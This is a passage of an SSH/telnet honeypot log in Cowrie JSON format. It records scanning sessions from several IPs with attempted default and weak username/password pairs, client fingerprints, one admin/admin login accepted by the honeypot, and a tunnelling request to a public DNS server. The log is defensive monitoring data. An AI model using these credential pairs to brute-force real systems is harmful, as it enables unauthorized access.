af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:48.756800Z","src_ip":"79.116.23.158","session":"2aa7af914b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pa$$w0rd","message":"login attempt [admin/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:49.240459Z","src_ip":"79.116.23.158","session":"2aa7af914b94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:50.356836Z","src_ip":"79.116.23.158","session":"2aa7af914b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33498,"dst_ip":"159.203.135.109","dst_port":22,"session":"966a5b530227","protocol":"ssh","message":"New connection: 159.203.92.129:33498 (159.203.135.109:22) [session: 966a5b530227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:52.020675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:52.026668Z","src_ip":"159.203.92.129","session":"966a5b530227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:52.031170Z","src_ip":"159.203.92.129","session":"966a5b530227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2021","message":"login attempt [Data/korea2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:52.044955Z","src_ip":"159.203.92.129","session":"966a5b530227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:12:53.051299Z","src_ip":"159.203.92.129","session":"966a5b530227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01338338851929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:08.898060Z","src_ip":"80.76.101.102","session":"73c0346aaf42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00737285614014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:29.881108Z","src_ip":"80.76.101.102","session":"7998f337040f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59638,"dst_ip":"159.203.135.109","dst_port":22,"session":"6edc2612d049","protocol":"ssh","message":"New connection: 159.203.92.129:59638 (159.203.135.109:22) [session: 6edc2612d049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:33.108064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:33.113187Z","src_ip":"159.203.92.129","session":"6edc2612d049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:33.117616Z","src_ip":"159.203.92.129","session":"6edc2612d049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Data","password":"korea2022","message":"login attempt [Data/korea2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:33.128855Z","src_ip":"159.203.92.129","session":"6edc2612d049","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:34.136559Z","src_ip":"159.203.92.129","session":"6edc2612d049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":58150,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c138667c805","protocol":"ssh","message":"New connection: 79.116.23.158:58150 (10.17.0.5:22) [session: 2c138667c805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:40.147024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:40.151160Z","src_ip":"79.116.23.158","session":"2c138667c805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:40.263210Z","src_ip":"79.116.23.158","session":"2c138667c805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test123","message":"login attempt [test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:40.750058Z","src_ip":"79.116.23.158","session":"2c138667c805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:41.862313Z","src_ip":"79.116.23.158","session":"2c138667c805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00989317893982,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:50.894137Z","src_ip":"80.76.101.102","session":"6f0a2f920438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18272,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed5936a12e1","protocol":"ssh","message":"New connection: 87.251.64.176:18272 (10.17.0.5:22) [session: 7ed5936a12e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.175774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.180290Z","src_ip":"87.251.64.176","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.276438Z","src_ip":"87.251.64.176","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.564877Z","src_ip":"87.251.64.176","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.662932Z","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.761180Z","src_ip":"87.251.64.176","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:13:52.862490Z","src_ip":"87.251.64.176","session":"7ed5936a12e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46568,"dst_ip":"159.203.135.109","dst_port":22,"session":"563e82256a35","protocol":"ssh","message":"New connection: 159.203.92.129:46568 (159.203.135.109:22) [session: 563e82256a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:14.496829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:14.501336Z","src_ip":"159.203.92.129","session":"563e82256a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:14.505473Z","src_ip":"159.203.92.129","session":"563e82256a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DataSet","password":"123","message":"login attempt [DataSet/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:14.519078Z","src_ip":"159.203.92.129","session":"563e82256a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:15.525644Z","src_ip":"159.203.92.129","session":"563e82256a35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"de8ef188e729","protocol":"ssh","message":"New connection: 80.94.92.186:57352 (159.203.135.109:22) [session: de8ef188e729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:22.681770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:23.072059Z","src_ip":"80.94.92.186","session":"de8ef188e729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:23.075973Z","src_ip":"80.94.92.186","session":"de8ef188e729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grafana","password":"grafana","message":"login attempt [grafana/grafana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:23.756905Z","src_ip":"80.94.92.186","session":"de8ef188e729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:25.000706Z","src_ip":"80.94.92.186","session":"de8ef188e729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35228,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d012100c7d","protocol":"ssh","message":"New connection: 194.59.206.2:35228 (10.17.0.5:22) [session: 33d012100c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:28.088790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:28.096579Z","src_ip":"194.59.206.2","session":"33d012100c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:28.304381Z","src_ip":"194.59.206.2","session":"33d012100c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:28.490675Z","src_ip":"194.59.206.2","session":"33d012100c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":47634,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a2204224f92","protocol":"ssh","message":"New connection: 79.116.23.158:47634 (10.17.0.5:22) [session: 6a2204224f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:14:32.937532Z"}
